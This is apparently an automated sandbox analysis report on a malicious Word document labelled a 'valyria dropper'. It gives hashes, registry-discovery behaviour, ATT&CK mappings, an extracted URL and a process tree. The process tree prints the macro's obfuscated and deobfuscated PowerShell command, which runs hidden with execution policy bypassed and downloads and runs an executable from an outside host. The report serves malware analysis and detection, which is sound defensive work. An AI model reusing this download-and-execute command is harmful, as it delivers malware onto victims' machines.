valyria | c5f9b97bb1a209f6a2cebf0e7cfd205befe6b69192d4c6549efb8ec4f946a64e

General

Target

31520.doc
Size

87KB
MD5

2e1df76d290a94565ab02741e34fd53e
SHA1

81639fcd12723d8d29cac7af5e42c1576c7915dc
SHA256

c5f9b97bb1a209f6a2cebf0e7cfd205befe6b69192d4c6549efb8ec4f946a64e
SHA512

193349e44552e876773f12db9e442e87fc018e2786704bcd257b01513fee9b9981bc2d393384d026cfb23da88faa72b7660b0524d3522629c2e55bf604594ecd

Score

10^/10

valyria dropper

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://newyeargoka.top/read.php?f=0.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2264	4812	cmd.exe	80

Valyria
Malicious Word document which is a loader for other malware.
dropper valyria

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3484	2540	WerFault.exe	17

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000_Classes\Local Settings\MuiCache	ShellExperienceHost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4812	WINWORD.EXE
4812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4108	powershell.exe
4108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4108	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
860	ShellExperienceHost.exe
4812	WINWORD.EXE
4812	WINWORD.EXE
860	ShellExperienceHost.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 2264	4812	WINWORD.EXE	91
PID 4812 wrote to memory of 2264	4812	WINWORD.EXE	91
PID 2264 wrote to memory of 4108	2264	cmd.exe	93
PID 2264 wrote to memory of 4108	2264	cmd.exe	93

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\31520.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "p^Ow^ers^hELl.^eXe -^eX^ecUT^ionp^Ol^icy^ by^pa^S^s^ -^NoPrOFIle ^-^W^I^ND^oWS^tY^l^e hI^d^dEN (new-OBJ^ect^ ^SySt^e^m.^net^.WEB^c^LiEN^T^).DoW^N^LOAd^fILe('http://newyeargoka.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.EXE');^ST^A^rt-pr^oC^eSs^ 'C:\Users\Admin\AppData\Roaming.EXe'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwershELl.eXe -eXecUTionpOlicy bypaSs -NoPrOFIle -WINDoWStYle hIddEN (new-OBJect SyStem.net.WEBcLiENT).DoWNLOAdfILe('http://newyeargoka.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.EXE');STArt-proCeSs 'C:\Users\Admin\AppData\Roaming.EXe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4108

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 440 -p 2540 -ip 2540
1⤵
PID:3724

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2540 -s 2012
1⤵
- Program crash
PID:3484

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4108-141-0x00000178597C0000-0x00000178597E2000-memory.dmp

Filesize
136KB

Download
memory/4108-142-0x00007FF8696D0000-0x00007FF86A191000-memory.dmp

Filesize
10.8MB

Download
memory/4108-143-0x0000017859800000-0x0000017859802000-memory.dmp

Filesize
8KB

Download
memory/4108-144-0x0000017859803000-0x0000017859805000-memory.dmp

Filesize
8KB

Download
memory/4108-145-0x0000017859806000-0x0000017859808000-memory.dmp

Filesize
8KB

Download
memory/4812-134-0x00007FF855430000-0x00007FF855440000-memory.dmp

Filesize
64KB

Download
memory/4812-135-0x00007FF855430000-0x00007FF855440000-memory.dmp

Filesize
64KB

Download
memory/4812-136-0x00007FF855430000-0x00007FF855440000-memory.dmp

Filesize
64KB

Download
memory/4812-137-0x00007FF855430000-0x00007FF855440000-memory.dmp

Filesize
64KB

Download
memory/4812-138-0x00007FF855430000-0x00007FF855440000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads